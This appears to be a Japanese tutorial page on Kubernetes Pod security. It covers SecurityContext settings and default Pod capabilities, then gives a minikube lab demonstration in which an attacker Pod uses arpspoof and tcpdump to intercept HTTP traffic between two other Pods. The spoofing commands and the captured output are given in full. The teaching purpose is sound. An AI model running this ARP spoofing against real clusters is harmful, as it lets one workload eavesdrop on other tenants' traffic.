Pod の権限と Node へのエスケープ

ホストへのエスケープでも紹介したように、特権コンテナはホスト側にエスケープすることが可能です。
Kubernetes の場合は Pod がスケジュールされた Node にエスケープすることができます。

SecurityContext

Docker ではコマンドラインオプションでコンテナの権限を設定できました。
Kubernetes の Pod では SecurityContext を利用して Pod やコンテナに対して次のような設定が可能です。

  • DAC ... 実行ユーザーや volume のグループを変更する
  • SELinux ... SELinux の設定
  • AppArmor ... AppArmor の設定
  • 特権コンテナ ... 特権コンテナか非特権コンテナかの設定
  • Linux Capabilities ... Capabilities の設定
  • seccomp ... seccomp の設定
  • AllowPrivilegeEscalation ... プロセスが追加の特権を取得できないようにする
  • readOnlyRootFilesystem ... コンテナのルートファイルシステムを Read Only にする

それぞれの挙動の詳細についてはドキュメントを参照ください。

Capabilities

コンテナへの過剰な Capability 不要は Breakout につながるものであると紹介しました。
それでは Pod のデフォルトの Capabilities を確認してみましょう。

root@test:/# pscap -a
ppid  pid   name        command           capabilities
0     1     root        bash              chown, dac_override, fowner, fsetid, kill, setgid, setuid, setpcap, net_bind_service, net_raw, sys_chroot, mknod, audit_write, setfcap

pscap コマンドで確認すると、いくつかの Capability が付与されていることが確認できます。
この中でも興味深いのは CAP_NET_RAW です。これは Raw Socket を使うことができるため、 ARP Spoofing や DNS Spoofing を行うことができます。

ARP Spoofing で Pod 間の通信を盗聴する

Raw Socket を扱えるため ARP Spoofing によって Pod 間の通信を盗聴することができます。
では実際に試してみましょう。まず、サーバーとなる nginx Pod と、そこにアクセスする client Pod を作成します。

$ kubectl run --image=nginx:latest server
$ kubectl get pods -o wide
NAME       READY   STATUS    RESTARTS   AGE   IP            NODE       NOMINATED NODE   READINESS GATES
server     1/1     Running   0          15m   172.17.0.15   minikube   <none>           <none>

$ kubectl run --image=nicolaka/netshoot:latest --rm -it client -- bash -c 'while true; do curl http://172.17.0.15 ; sleep 5; done'

$ kubectl get pods -o wide
NAME       READY   STATUS    RESTARTS   AGE   IP            NODE       NOMINATED NODE   READINESS GATES
server     1/1     Running   0          3m   172.17.0.15   minikube   <none>           <none>
client     1/1     Running   0          2m30s   172.17.0.16   minikube   <none>           <none>

そして攻撃者用の Pod を作成し、 arpspoof コマンドで ARP Spoofing を実行します。
同時に、 tcpdump で通信内容を確認します。

$ kubectl run --image=ubuntu:latest --rm -it attacker bash
root@attacker:/# apt update ; apt install -y dsniff tcpdump
root@attacker:/# arpspoof -t 172.17.0.16 172.17.0.15
$ kubectl exec -it attacker -- tcpdump -i any tcp -vv
    172.17.0.16.55080 > 172.17.0.15.80: Flags [P.], cksum 0x58b3 (incorrect -> 0x96e4), seq 0:75, ack 1, win 502, options [nop,nop,TS val 910579351 ecr 3251193240], length 75: HTTP, length: 75
        GET / HTTP/1.1
        Host: 172.17.0.15
        User-Agent: curl/7.71.1
        Accept: */*

このように通信内容を取得することができました。

DNS Spoofing

TBD

results matching ""

    No results matching ""